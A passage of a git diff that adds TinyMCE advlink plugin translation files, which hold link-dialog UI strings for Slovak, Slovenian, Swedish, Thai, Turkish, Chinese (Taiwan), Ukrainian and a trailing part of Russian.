\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432","popup_statusbar":"\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f","popup_scrollbars":"\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c \u043f\u043e\u043b\u043e\u0441\u044b \u043f\u0440\u043e\u043a\u0440\u0443\u0442\u043a\u0438","popup_return":"\u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \'return false\'","popup_name":"\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043e\u043a\u043d\u0430","popup_url":"\u0410\u0434\u0440\u0435\u0441",popup:"\u0420\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c Java","target_blank":"\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0432 \u043d\u043e\u0432\u043e\u043c \u043e\u043a\u043d\u0435","target_top":"\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0432 \u0432\u0435\u0440\u0445\u043d\u0435\u043c \u043a\u0430\u0434\u0440\u0435 (\u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0432\u0441\u0435 \u043a\u0430\u0434\u0440\u044b)","target_parent":"\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0432 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c \u043e\u043a\u043d\u0435/\u043a\u0430\u0434\u0440\u0435","target_same":"\u041e\u0442\u043a\u0440\u044b\u0442\u044c \u0432 \u044d\u0442\u043e\u043c \u043e\u043a\u043d\u0435/\u043a\u0430\u0434\u0440\u0435","anchor_names":"\u042f\u043a\u043e\u0440\u044f","popup_opts":"\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430","advanced_props":"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b","event_props":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u043e\u0431\u044b\u0442\u0438\u0439","popup_props":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f","general_props":"\u041e\u0431\u0449\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b","advanced_tab":"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e","events_tab":"\u0421\u043e\u0431\u044b\u0442\u0438\u044f","popup_tab":"\u0420\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435","general_tab":"\u041e\u0431\u0449\u0435\u0435",list:"\u0421\u043f\u0438\u0441\u043e\u043a","is_external":"\u0412\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u044e\u044e \u0441\u0441\u044b\u043b\u043a\u0443, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u0435\u0444\u0438\u043a\u0441 http://?","is_email":"\u0412\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u0443\u044e \u043f\u043e\u0447\u0442\u0443, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u0435\u0444\u0438\u043a\u0441 mailto:?",titlefield:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",target:"\u0426\u0435\u043b\u044c",url:"\u0410\u0434\u0440\u0435\u0441",title:"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u0441\u044b\u043b\u043a\u0438","link_list":"\u0421\u043f\u0438\u0441\u043e\u043a \u0441\u0441\u044b\u043b\u043e\u043a",rtl:"\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0435\u0432\u043e",ltr:"\u0421\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e",accesskey:"\u041a\u043b\u044e\u0447 \u0434\u043e\u0441\u0442\u0443\u043f\u0430",tabindex:"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a",rev:"\u041e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u0438 \u043a \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435",rel:"\u041e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043a \u0446\u0435\u043b\u0438",mime:"MIME \u0442\u0438\u043f \u0446\u0435\u043b\u0438",encoding:"\u041a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0430 \u0446\u0435\u043b\u0438",langcode:"\u041a\u043e\u0434 \u044f\u0437\u044b\u043a\u0430","target_langcode":"\u042f\u0437\u044b\u043a \u0446\u0435\u043b\u0438",width:"\u0428\u0438\u0440\u0438\u043d\u0430",height:"\u0412\u044b\u0441\u043e\u0442\u0430"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/sk_dlg.js b/js/tiny_mce/plugins/advlink/langs/sk_dlg.js new file mode 100755 index 0000000..288ece5 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.advlink_dlg',{"target_name":"N\u00e1zov cie\u013ea",classes:"Triedy",style:"\u0160t\u00fdl",id:"ID","popup_position":"Umiestnenie (X/Y)",langdir:"Smer textu","popup_size":"Ve\u013ekos\u0165","popup_dependent":"Z\u00e1vislos\u0165 (iba Mozilla Firefox)","popup_resizable":"Umo\u017eni\u0165 zmenu ve\u013ekosti","popup_location":"Zobrazi\u0165 li\u0161tu umiestnen\u00ed","popup_menubar":"Zobrazi\u0165 ponuku","popup_toolbar":"Zobrazi\u0165 panel n\u00e1strojov","popup_statusbar":"Zobrazi\u0165 stavov\u00fd riadok","popup_scrollbars":"Zobrazi\u0165 posuvn\u00edky","popup_return":"Vlo\u017ei\u0165 \'return false\'","popup_name":"N\u00e1zov okna","popup_url":"URL vyskakovacieho okna",popup:"JavaScriptov\u00e9 okno","target_blank":"Otvori\u0165 v novom okne","target_top":"Otvori\u0165 v hlavnom okne/r\u00e1me (nahradi\u0165 v\u0161etky r\u00e1my)","target_parent":"Otvori\u0165 v nadradenom okne/r\u00e1me","target_same":"Otvori\u0165 v rovnakom okne/r\u00e1me","anchor_names":"Z\u00e1lo\u017eka","popup_opts":"Mo\u017enosti","advanced_props":"Roz\u0161\u00edren\u00e9 parametre","event_props":"Udalosti","popup_props":"Vlastnosti vyskakovacieho okna","general_props":"Obecn\u00e9 parametre","advanced_tab":"Roz\u0161\u00edren\u00e9","events_tab":"Udalosti","popup_tab":"Vyskakovacie okno","general_tab":"Obecn\u00e9",list:"Zoznam odkazov","is_external":"Zadan\u00e1 URL vyzer\u00e1 ako extern\u00fd odkaz, chcete doplni\u0165 povinn\u00fd prefix http://?","is_email":"Zadan\u00e1 URL vyzer\u00e1 ako e-mailov\u00e1 adresa, chcete doplni\u0165 povinn\u00fd prefix mailto:?",titlefield:"Titulok",target:"Cie\u013e",url:"URL odkazu",title:"Vlo\u017ei\u0165/upravi\u0165 odkaz","link_list":"Zoznam odkazov",rtl:"Sprava do\u013eava",ltr:"Z\u013eava doprava",accesskey:"Kl\u00e1vesov\u00e1 skratka",tabindex:"Poradie pre tabul\u00e1tor",rev:"Vz\u0165ah cie\u013ea k str\u00e1nke",rel:"Vz\u0165ah str\u00e1nky k cie\u013eu",mime:"MIME typ",encoding:"K\u00f3dovanie",langcode:"K\u00f3d jazyka","target_langcode":"Jazyk cie\u013ea",width:"\u0160\u00edrka",height:"V\u00fd\u0161ka"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/sl_dlg.js b/js/tiny_mce/plugins/advlink/langs/sl_dlg.js new file mode 100755 index 0000000..34a398b --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.advlink_dlg',{"target_name":"Ime cilja",classes:"Razredi",style:"Slog",id:"Id","popup_position":"Polo\u017eaj (X/Y)",langdir:"Smer pisave","popup_size":"Velikost","popup_dependent":"Odvisno (le za Mozillo/Firefox)","popup_resizable":"Omogo\u010di pvoe\u010devanje okna","popup_location":"Prika\u017ei vrstico naslova","popup_menubar":"Prika\u017ei meni","popup_toolbar":"Prika\u017ei orodjarno","popup_statusbar":"Prika\u017ei vrstico stanja","popup_scrollbars":"Prika\u017ei drsnike","popup_return":"Vstavi \'return false\'","popup_name":"Ime okna","popup_url":"Naslov URL okna",popup:"Dodatno okno z javascriptom","target_blank":"Odpri v novem oknu","target_top":"Odpri v vrhnjem okviru (nadomesti vse okvire)","target_parent":"Odpri v nadrejenem oknu / okviru","target_same":"Odpri v tem oknu / okviru","anchor_names":"Sidra","popup_opts":"Mo\u017enosti","advanced_props":"Napredne lastnosti","event_props":"Dogodki","popup_props":"Lastnosti okna","general_props":"Splo\u0161ne lastnosti","advanced_tab":"Napredno","events_tab":"Dogodki","popup_tab":"Dodatno okno","general_tab":"Splo\u0161no",list:"Seznam povezav","is_external":"Vneseni naslov verjetno predstavlja zunanjo povezavo, \u017eelite da dodam zahtevano predpono","is_email":"Vneseni naslov verjetno prestavlja e-naslov, \u017eelite da dodam zahtevano predpono \\\'mailto:\\\'?",titlefield:"Naslov",target:"Cilj",url:"Naslov URL",title:"Vstavi/uredi povezavo","link_list":"Seznam povezav",rtl:"Od desne proti levi",ltr:"Od leve proti desni",accesskey:"Tipka dostopa",tabindex:"Zap. \u0161t.",rev:"Razmerje cilja do strani",rel:"Razmerje strani do cilja",mime:"Tip MIME cilja",encoding:"Kodiranje znakov cilja",langcode:"Koda jezika","target_langcode":"Jezik cilja",width:"\u0160irina",height:"Vi\u0161ina"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/sv_dlg.js b/js/tiny_mce/plugins/advlink/langs/sv_dlg.js new file mode 100755 index 0000000..8a61944 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.advlink_dlg',{"target_name":"M\u00e5lnamn",classes:"Klasser",style:"Stil",id:"Id","popup_position":"Position (x/y)",langdir:"Skriftriktning","popup_size":"Storlek","popup_dependent":"Beroende av (Mozilla/Firefox enbart)","popup_resizable":"Skalbart f\u00f6nster","popup_location":"Adressraden","popup_menubar":"Menyrad","popup_toolbar":"Verktygsf\u00e4lt","popup_statusbar":"Statusf\u00e4lt","popup_scrollbars":"Rullningslister","popup_return":"Infoga \'return false\'","popup_name":"F\u00f6nsternamn","popup_url":"Popup URL",popup:"Javascript popup","target_blank":"\u00d6ppna i nytt f\u00f6nster","target_top":"\u00d6ppna i toppramen (ers\u00e4tter alla ramar)","target_parent":"\u00d6ppna i \u00f6verliggande f\u00f6nster/ram","target_same":"\u00d6ppna i detta f\u00f6nster/ram","anchor_names":"Bokm\u00e4rken","popup_opts":"Inst\u00e4llningar","advanced_props":"Avancerade inst\u00e4llningar","event_props":"H\u00e4ndelser","popup_props":"Popup-inst\u00e4llningar","general_props":"Generella inst\u00e4llningar","advanced_tab":"Avancerat","events_tab":"H\u00e4ndelser","popup_tab":"Popup","general_tab":"Generellt",list:"L\u00e4nklista","is_external":"L\u00e4nken du angav verkar vara en extern adress. Vill du infoga http:// prefixet p\u00e5 l\u00e4nken?","is_email":"L\u00e4nken du angav verkar vara en e-post adress. Vill du infoga mailto: prefixet p\u00e5 l\u00e4nken?",titlefield:"Titel",target:"M\u00e5l",url:"L\u00e4nkens URL",title:"Infoga/redigera l\u00e4nk","link_list":"L\u00e4nklista",rtl:"H\u00f6ger till v\u00e4nster",ltr:"V\u00e4nster till h\u00f6ger",accesskey:"Snabbtangent",tabindex:"Tabbindex",rev:"Omv\u00e4nd relation (rev)",rel:"Relation (rel attribut)",mime:"MIME type",encoding:"Teckenformattering",langcode:"Spr\u00e5kkod","target_langcode":"M\u00e5lspr\u00e5k",width:"Bredd",height:"H\u00f6jd"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/th_dlg.js b/js/tiny_mce/plugins/advlink/langs/th_dlg.js new file mode 100755 index 0000000..ab37a3c --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.advlink_dlg',{"target_name":"\u0e0a\u0e37\u0e48\u0e2d\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22",classes:"\u0e04\u0e25\u0e32\u0e2a",style:"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",id:"Id","popup_position":"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07 (X/Y)",langdir:"\u0e17\u0e34\u0e28\u0e17\u0e32\u0e07\u0e01\u0e32\u0e23\u0e2d\u0e48\u0e32\u0e19","popup_size":"\u0e02\u0e19\u0e32\u0e14","popup_dependent":"Dependent (Mozilla/Firefox only)","popup_resizable":"\u0e40\u0e1b\u0e25\u0e35\u0e48\u0e22\u0e19\u0e02\u0e19\u0e32\u0e14\u0e02\u0e2d\u0e07\u0e2b\u0e19\u0e49\u0e32\u0e15\u0e48\u0e32\u0e07\u0e44\u0e14\u0e49","popup_location":"\u0e41\u0e2a\u0e14\u0e07\u0e0a\u0e48\u0e2d\u0e07\u0e17\u0e35\u0e48\u0e2d\u0e22\u0e39\u0e48","popup_menubar":"\u0e41\u0e2a\u0e14\u0e07\u0e41\u0e16\u0e1a\u0e40\u0e21\u0e19\u0e39","popup_toolbar":"\u0e41\u0e2a\u0e14\u0e07\u0e17\u0e39\u0e25\u0e1a\u0e32\u0e23\u0e4c","popup_statusbar":"\u0e41\u0e2a\u0e14\u0e07\u0e41\u0e16\u0e1a\u0e2a\u0e16\u0e32\u0e19\u0e30","popup_scrollbars":"\u0e41\u0e2a\u0e14\u0e07\u0e2a\u0e01\u0e23\u0e2d\u0e25\u0e1a\u0e32\u0e23\u0e4c","popup_return":"\u0e40\u0e1e\u0e34\u0e48\u0e21 \'return false\'","popup_name":"\u0e0a\u0e37\u0e48\u0e2d\u0e2b\u0e19\u0e49\u0e32\u0e15\u0e48\u0e32\u0e07","popup_url":"\u0e1b\u0e4a\u0e2d\u0e1b-\u0e2d\u0e31\u0e1e URL",popup:"\u0e08\u0e32\u0e27\u0e32 \u0e1b\u0e4a\u0e2d\u0e1b-\u0e2d\u0e31\u0e1e","target_blank":"\u0e40\u0e1b\u0e34\u0e14\u0e43\u0e19\u0e2b\u0e19\u0e49\u0e32\u0e15\u0e48\u0e32\u0e07\u0e43\u0e2b\u0e21\u0e48","target_top":"\u0e40\u0e1b\u0e34\u0e14\u0e17\u0e35\u0e48\u0e40\u0e1f\u0e23\u0e21\u0e1a\u0e19 (\u0e41\u0e17\u0e19\u0e17\u0e35\u0e48\u0e17\u0e38\u0e01\u0e40\u0e1f\u0e23\u0e21)","target_parent":"\u0e40\u0e1b\u0e34\u0e14\u0e43\u0e19\u0e2b\u0e19\u0e49\u0e32\u0e15\u0e48\u0e32\u0e07\u0e40\u0e14\u0e34\u0e21 / \u0e40\u0e1f\u0e23\u0e21","target_same":"\u0e40\u0e1b\u0e34\u0e14\u0e43\u0e19\u0e2b\u0e19\u0e49\u0e32\u0e15\u0e48\u0e32\u0e07\u0e43\u0e2b\u0e21\u0e48 / \u0e40\u0e1f\u0e23\u0e21","anchor_names":"\u0e0a\u0e37\u0e48\u0e2d\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","popup_opts":"\u0e15\u0e31\u0e27\u0e40\u0e25\u0e37\u0e2d\u0e01","advanced_props":"\u0e15\u0e31\u0e49\u0e07\u0e04\u0e48\u0e32\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07","event_props":"\u0e01\u0e34\u0e08\u0e01\u0e23\u0e23\u0e21","popup_props":"\u0e15\u0e31\u0e49\u0e07\u0e04\u0e48\u0e32\u0e1b\u0e4a\u0e2d\u0e1b-\u0e2d\u0e31\u0e1e","general_props":"\u0e15\u0e31\u0e49\u0e07\u0e04\u0e48\u0e32\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b","advanced_tab":"\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07","events_tab":"\u0e01\u0e34\u0e08\u0e01\u0e23\u0e23\u0e21","popup_tab":"\u0e1b\u0e4a\u0e2d\u0e1b-\u0e2d\u0e31\u0e1e","general_tab":"\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b",list:"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","is_external":"URL \u0e17\u0e35\u0e48\u0e04\u0e38\u0e13\u0e1b\u0e49\u0e2d\u0e19\u0e14\u0e39\u0e40\u0e2b\u0e21\u0e37\u0e2d\u0e19\u0e27\u0e48\u0e32\u0e20\u0e32\u0e22\u0e19\u0e2d\u0e01\u0e25\u0e34\u0e07\u0e04\u0e04\u0e38\u0e13\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e40\u0e1e\u0e34\u0e48\u0e21 http:// \u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48 ?","is_email":"URL \u0e17\u0e35\u0e48\u0e04\u0e38\u0e13\u0e1b\u0e49\u0e2d\u0e19\u0e14\u0e39\u0e40\u0e2b\u0e21\u0e37\u0e2d\u0e19\u0e27\u0e48\u0e32\u0e08\u0e30\u0e21\u0e35\u0e17\u0e35\u0e48\u0e2d\u0e22\u0e39\u0e48\u0e2d\u0e35\u0e40\u0e21\u0e25\u0e2d\u0e22\u0e39\u0e48\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e40\u0e1e\u0e34\u0e48\u0e21 mailto: \u0e19\u0e33\u0e2b\u0e19\u0e49\u0e32\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48 ",titlefield:"\u0e0a\u0e37\u0e48\u0e2d",target:"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22",url:"\u0e17\u0e35\u0e48\u0e2d\u0e22\u0e39\u0e48 \u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c",title:"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","link_list":"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c",rtl:"\u0e02\u0e27\u0e32\u0e44\u0e1b\u0e0b\u0e49\u0e32\u0e22",ltr:"\u0e0b\u0e49\u0e32\u0e22\u0e44\u0e1b\u0e02\u0e27\u0e32",accesskey:"Accesskey",tabindex:"Tabindex",rev:"Relationship target to page",rel:"Relationship page to target",mime:"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22 MIME type",encoding:"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23",langcode:"\u0e42\u0e04\u0e49\u0e14\u0e20\u0e32\u0e29\u0e32","target_langcode":"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22 \u0e20\u0e32\u0e29\u0e32",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/tr_dlg.js b/js/tiny_mce/plugins/advlink/langs/tr_dlg.js new file mode 100755 index 0000000..447cc3a --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.advlink_dlg',{"target_name":"Hedef ad\u0131",classes:"S\u0131n\u0131fla",style:"Stil",id:"Id","popup_position":"Konum (X/Y)",langdir:"Dil y\u00f6n\u00fc","popup_size":"Boyut","popup_dependent":"Ba\u011f\u0131ml\u0131 (Sadece Mozilla Firefox)","popup_resizable":"Pencereyi boyutland\u0131r\u0131labilir yap","popup_location":"Aderes \u00e7ubu\u011funu g\u00f6ster","popup_menubar":"Men\u00fc \u00e7ubu\u011funu g\u00f6ster","popup_toolbar":"Ara\u00e7 kutusunu g\u00f6ster","popup_statusbar":"Durum \u00e7ubu\u011funu g\u00f6ster","popup_scrollbars":"Kayd\u0131rma \u00e7ubuklar\u0131n\u0131 g\u00f6ster","popup_return":"Ekle \'return false\'","popup_name":"Pencere ad\u0131","popup_url":"A\u00e7\u0131l\u0131r pencere URL\'si",popup:"Javascript a\u00e7\u0131l\u0131r pencere","target_blank":"Yeni pencerede a\u00e7","target_top":"\u00dcst \u00e7er\u00e7evede a\u00e7 (t\u00fcm \u00e7er\u00e7eveleri de\u011fi\u015ftir) ","target_parent":"Ana pencerede / \u00e7er\u00e7evede a\u00e7","target_same":"Pencerede / \u00e7er\u00e7evede a\u00e7","anchor_names":"Nesne tutucular","popup_opts":"Se\u00e7enekler","advanced_props":"Geli\u015fmi\u015f \u00f6zellikler","event_props":"Olaylar","popup_props":"A\u00e7\u0131l\u0131r pencere \u00f6zellikleri","general_props":"Genel \u00f6zellikler","advanced_tab":"Geli\u015fmi\u015f","events_tab":"Olaylar","popup_tab":"A\u00e7\u0131l\u0131r pencere","general_tab":"Genel",list:"Ba\u011flant\u0131 listesi","is_external":"Girdi\u011fiz URL d\u0131\u015f ba\u011flant\u0131 gibi g\u00f6r\u00fcn\u00fcyor; gerekli olan http:// \u00f6nekinin eklenmesini ister misiniz?","is_email":"Girdi\u011finiz URL e-posta adresi gibi g\u00f6r\u00fcn\u00fcyor; gerekli olan mailto: \u00f6nekinin eklenmesini ister misiniz? prefix?",titlefield:"Ba\u015fl\u0131k",target:"Hedef",url:"Ba\u011flant\u0131 URL\'si",title:"Ba\u011flant\u0131 ekle/d\u00fczenle","link_list":"Ba\u011flant\u0131 listesi",rtl:"Soldan sa\u011fa",ltr:"Sa\u011fdan sola",accesskey:"Eri\u015fim tu\u015fu",tabindex:"Sekme indeksi",rev:"Sayfadan hedefe ili\u015fki",rel:"Hedeften sayfaya ili\u015fki",mime:"Hedef MIME tipi",encoding:"Hedef karakter kodlama",langcode:"Dil kodu","target_langcode":"Hedef dil",width:"Geni\u015flik",height:"Y\u00fckseklik"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/tw_dlg.js b/js/tiny_mce/plugins/advlink/langs/tw_dlg.js new file mode 100755 index 0000000..f715bac --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.advlink_dlg',{"target_name":"\u76ee\u6a19\u540d\u7a31",classes:"\u985e\u5225",style:"\u6a23\u5f0f",id:"ID","popup_position":"\u4f4d\u7f6e(X/Y)",langdir:"\u8a9e\u8a00\u66f8\u5beb\u65b9\u5411","popup_size":"\u5927\u5c0f","popup_dependent":"\u700f\u89bd\u5668\u9650\u5236(\u50c5\u652f\u63f4 Mozilla/Firefox)","popup_resizable":"\u5f48\u7a97\u53ef\u8abf\u6574\u5927\u5c0f","popup_location":"\u986f\u793a\u5730\u5740\u6b04","popup_menubar":"\u986f\u793a\u529f\u80fd\u9078\u55ae\u5217","popup_toolbar":"\u986f\u793a\u5de5\u5177\u5217","popup_statusbar":"\u986f\u793a\u72c0\u614b\u5217","popup_scrollbars":"\u986f\u793a\u6efe\u52d5\u689d","popup_return":"\u63d2\u5165 \"return false\"","popup_name":"\u8996\u7a97\u540d\u7a31","popup_url":"\u5f48\u51fa\u8996\u7a97URL",popup:"JavaScript \u5f48\u51fa\u8996\u7a97","target_blank":"\u5728\u65b0\u8996\u7a97\u6253\u958b\u8d85\u9023\u7d50","target_top":"\u5728\u9802\u90e8\u8996\u7a97\u6253\u958b\u8d85\u9023\u7d50","target_parent":"\u5728\u7236\u8996\u7a97\u6253\u958b\u8d85\u9023\u7d50","target_same":"\u5728\u76ee\u524d\u8996\u7a97\u6253\u958b\u8d85\u9023\u7d50","anchor_names":"\u66f8\u7c64","popup_opts":"\u9078\u9805","advanced_props":"\u9ad8\u7d1a\u5c6c\u6027","event_props":"\u4e8b\u4ef6","popup_props":"\u5f48\u51fa\u8996\u7a97\u5c6c\u6027","general_props":"\u4e00\u822c\u5c6c\u6027","advanced_tab":"\u9ad8\u7d1a\u5c6c\u6027","events_tab":"\u4e8b\u4ef6","popup_tab":"\u5f48\u51fa\u8996\u7a97","general_tab":"\u4e00\u822c",list:"\u8d85\u9023\u7d50\u6e05\u55ae","is_external":"\u60a8\u8f38\u5165\u7684 URL \u4f3c\u4e4e\u70ba\u5916\u90e8\u8d85\u9023\u7d50\uff0c\u662f\u5426\u8981\u52a0\u4e0a \"http://\" \uff1f","is_email":"\u60a8\u8f38\u5165\u7684\u4f3c\u4e4e\u662f\u96fb\u5b50\u90f5\u4ef6\u5730\u5740,\u662f\u5426\u9700\u8981\u52a0 mailto:\uff1f",titlefield:"\u6a19\u984c",target:"\u76ee\u6a19",url:"\u8d85\u9023\u7d50URL",title:"\u63d2\u5165/\u7de8\u8f2f\u8d85\u9023\u7d50","link_list":"\u8d85\u9023\u7d50\u6e05\u55ae",rtl:"\u5f9e\u53f3\u5230\u5de6",ltr:"\u5f9e\u5de6\u5230\u53f3",accesskey:"\u5feb\u901f\u9375",tabindex:"Tab\u7d22\u5f15",rev:"\u76ee\u6a19\u5230\u7db2\u9801\u7684\u95dc\u4fc2",rel:"\u7db2\u9801\u5230\u76ee\u6a19\u7684\u95dc\u4fc2",mime:"\u76ee\u6a19MIME\u985e\u578b",encoding:"\u76ee\u6a19\u8a9e\u8a00\u7de8\u78bc",langcode:"\u8a9e\u8a00\u7de8\u78bc","target_langcode":"\u76ee\u6a19\u8a9e\u8a00",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/advlink/langs/uk_dlg.js b/js/tiny_mce/plugins/advlink/langs/uk_dlg.js new file mode 100755 index 0000000..d069797 --- /dev/null +++ b/js/tiny_mce/plugins/advlink/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.advlink_dlg',{"target_name":"\u041d\u0430\u0437\u0432\u0430 \u0446\u0456\u043b\u0456",classes:"\u041a\u043b\u0430\u0441\u0438",style:"\u0421\u0442\u0438\u043b\u044c",id:"\u0406\u0434\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0442\u043e\u0440","popup_position":"\u041f\u043e\u0437\u0438\u0446\u0456\u044f (X/Y)",langdir:"\u041d\u0430\u043f\u0440\u044f\u043c \u043c\u043e\u0432\u0438","popup_size":"\u0420\u043e\u0437\u043c\u0456\u0440","popup_dependent":"\u0417\u0430\u043b\u0435\u0436\u043d\u0438\u0439 (\u043b\u0438\u0448\u0435 \u0434\u043b\u044f Mozilla/Firefox)","popup_resizable":"\u0414\u043e\u0437\u0432\u043e\u043b\u044f\u0442\u0438 \u0437\u043c\u0456\u043d\u044e\u0432\u0430\u0442\u0438 \u0440\u043e\u0437\u043c\u0456\u0440","popup_location":"\u041f\u043e\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438 \u043f\u0430\u043d\u0435\u043b\u044c location","popup_menubar":"\u041f\u043e\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438 \u043c\u0435\u043d\u044e","popup_toolbar":"\u041f\u043e\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438 \u043f\u0430\u043d\u0435\u043b\u0456 \u0456\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0456\u0432","popup_statusbar":"\u041f\u043e\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438 \u0441\u0442\u0430\u0442\u0443\u0441","popup_scrollbars":"\u041f\u043e\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438 \u0441\u043a\u0440\u043e\u043b\u0435\u0440\u0438","popup_return":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \'return false\'","popup_name":"\u041d\u0430\u0437\u0432\u0430 \u0432\u0456\u043a\u043d\u0430","popup_url":"\u041f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u043d\u0430 \u0432\u0438\u0440\u0438\u043d\u0430\u044e\u0447\u0435 \u0432\u0456\u043a\u043d\u043e",popup:"\u0412\u0438\u0440\u0438\u043d\u0430\u044e\u0447\u0435 \u0432\u0456\u043a\u043d\u043e Javascript","target_blank":"\u0412\u0456\u0434\u043a\u0440\u0438\u0442\u0438 \u0432 \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0456\u043a\u043d\u0456","target_top":"\u0412\u0456\u0434\u043a\u0440\u0438\u0442\u0438 \u0443 \u0432\u0435\u0440\u0445\u043d\u044c\u043e\u043c\u0443 \u0444\u0440\u0435\u0439\u043c\u0456 (\u0437\u0430\u043c\u0456\u043d\u0438\u0442\u0438 \u0432\u0441\u0456 